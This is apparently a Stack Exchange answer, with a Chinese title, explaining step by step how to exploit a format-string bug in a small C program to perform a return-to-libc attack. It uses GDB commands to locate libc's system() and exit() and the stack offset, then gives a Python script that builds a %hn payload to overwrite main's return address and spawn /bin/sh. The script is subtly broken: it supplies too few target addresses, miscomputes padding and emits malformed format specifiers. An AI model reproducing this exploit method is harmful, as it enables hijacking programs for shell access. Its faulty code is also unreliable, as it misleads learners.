基于格式化字符串攻击向量实现Return-to-libc攻击的技术问询
Alright, let's break down how to execute a return-to-libc attack using the format string vulnerability in your target code. I'll walk through each step clearly, since format string attacks can be tricky to get right.
First, Let's Recap the Vulnerable Code
Your code has two critical issues: an unbounded scanf that lets us overflow the stack buffer, and a printf(a) that treats user input directly as a format string. We'll leverage the format string vector to hijack the program flow.
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char a[10]; scanf("%s",&a); printf(a); return 0; }
Step 1: Grab the exit() Address
You already have system() at 0xf7e2cda0, but we need exit() to cleanly exit after system("/bin/sh") runs. In GDB, just run:
p exit
This will spit out the address (e.g., 0xf7e20860 — yours might vary based on your libc version). Jot that down.
Step 2: Find the Return Address Offset
We need to figure out where the main function's return address lives in the format string argument list. Here's how to probe it:
- Run the program in GDB:
r - Input a test string with a unique marker plus format specifiers:
AAAA%p.%p.%p.%p.%p.%p - Look for
0x41414141(the hex value ofAAAA) in the output. For example, if it shows up after the 5th%p, that means your input starts at the 5th argument position. From there, you can calculate the offset of the main return address (it'll be a few positions ahead — keep testing if needed).
Step 3: Construct the Format String Payload
The goal is to overwrite the main return address with system()'s address, set system()'s return address to exit(), and point system()'s argument to your /bin/sh environment variable address.
Since we're dealing with 32-bit x86 (little-endian), all addresses are 4 bytes and stored least-significant byte first. We'll use %n (writes the number of characters printed so far to a target address) and %hn (writes the lower 16 bits) to avoid printing massive amounts of characters.
Here's a concrete example of how to build the payload (adjust addresses/offsets to match your environment):
# Python script to generate the payload import struct # Replace these with your actual addresses system_addr = 0xf7e2cda0 exit_addr = 0xf7e20860 # From `p exit` in GDB binsh_addr = 0xf7f5aed0 # Your found /bin/sh env address ret_addr = 0xffffd724 # Main's return address (find via GDB's `info frame`) payload = b'' # Add the addresses we want to overwrite (return addr, system's return addr, system's arg) payload += struct.pack('<I', ret_addr) # Target 1: main's return address payload += struct.pack('<I', ret_addr + 4) # Target 2: system()'s return address (exit()) payload += struct.pack('<I', ret_addr + 8) # Target 3: system()'s argument (/bin/sh) # Split addresses into low/high 16 bits for %hn writes low_system = system_addr & 0xffff high_system = (system_addr >> 16) & 0xffff low_exit = exit_addr & 0xffff high_exit = (exit_addr >> 16) & 0xffff low_binsh = binsh_addr & 0xffff high_binsh = (binsh_addr >> 16) & 0xffff # Calculate padding to hit the exact values we need to write padding = low_system - len(payload) payload += b'%0dx' % padding payload += b'%8$hn' # Write low 16 bits of system() to ret_addr padding = high_system - (len(payload) + padding) payload += b'%0dx' % padding payload += b'%9$hn' # Write high 16 bits of system() to ret_addr padding = low_exit - (len(payload) + padding) payload += b'%0dx' % padding payload += b'%10$hn' # Write low 16 bits of exit() to ret_addr+4 padding = high_exit - (len(payload) + padding) payload += b'%0dx' % padding payload += b'%11$hn' # Write high 16 bits of exit() to ret_addr+4 padding = low_binsh - (len(payload) + padding) payload += b'%0dx' % padding payload += b'%12$hn' # Write low 16 bits of /bin/sh to ret_addr+8 padding = high_binsh - (len(payload) + padding) payload += b'%0dx' % padding payload += b'%13$hn' # Write high 16 bits of /bin/sh to ret_addr+8
Step 4: Execute the Attack
Run your vulnerable program, feed it the generated payload, and you should get a shell (permissions depend on how the program is run). Just remember: all addresses are environment-specific, so double-check your GDB values before building the payload.
内容的提问来源于stack exchange,提问作者re3el

